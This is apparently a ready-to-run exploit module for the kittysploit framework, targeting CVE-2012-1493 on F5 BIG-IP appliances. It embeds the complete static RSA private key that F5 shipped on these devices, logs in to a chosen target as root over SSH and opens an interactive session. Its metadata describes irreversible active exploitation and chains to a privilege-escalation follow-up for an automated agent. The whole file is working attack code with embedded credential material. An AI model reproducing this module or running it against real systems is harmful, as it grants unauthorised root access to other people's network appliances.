F5 BIG-IP SSH Private Key Exposure
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler
class Module(Exploit, Ssh_client, Handler):
__info__ = {
'name': 'F5 BIG-IP SSH Private Key Exposure',
'description': 'F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box',
'cve': '2012-1493',
'payload': {
'default':'nopayload',
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
ssh_target = OptString("", "Target IPv4", "yes")
ssh_port = OptPort(22, "Target SSH port", "yes")
def run(self):
key_data = """
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
"""
client = self.open_ssh(user="root")
connection = client.login_rsa(key_data)
if connection:
self.handler_ssh(connection)
else:
self.not_vulnerable()Data
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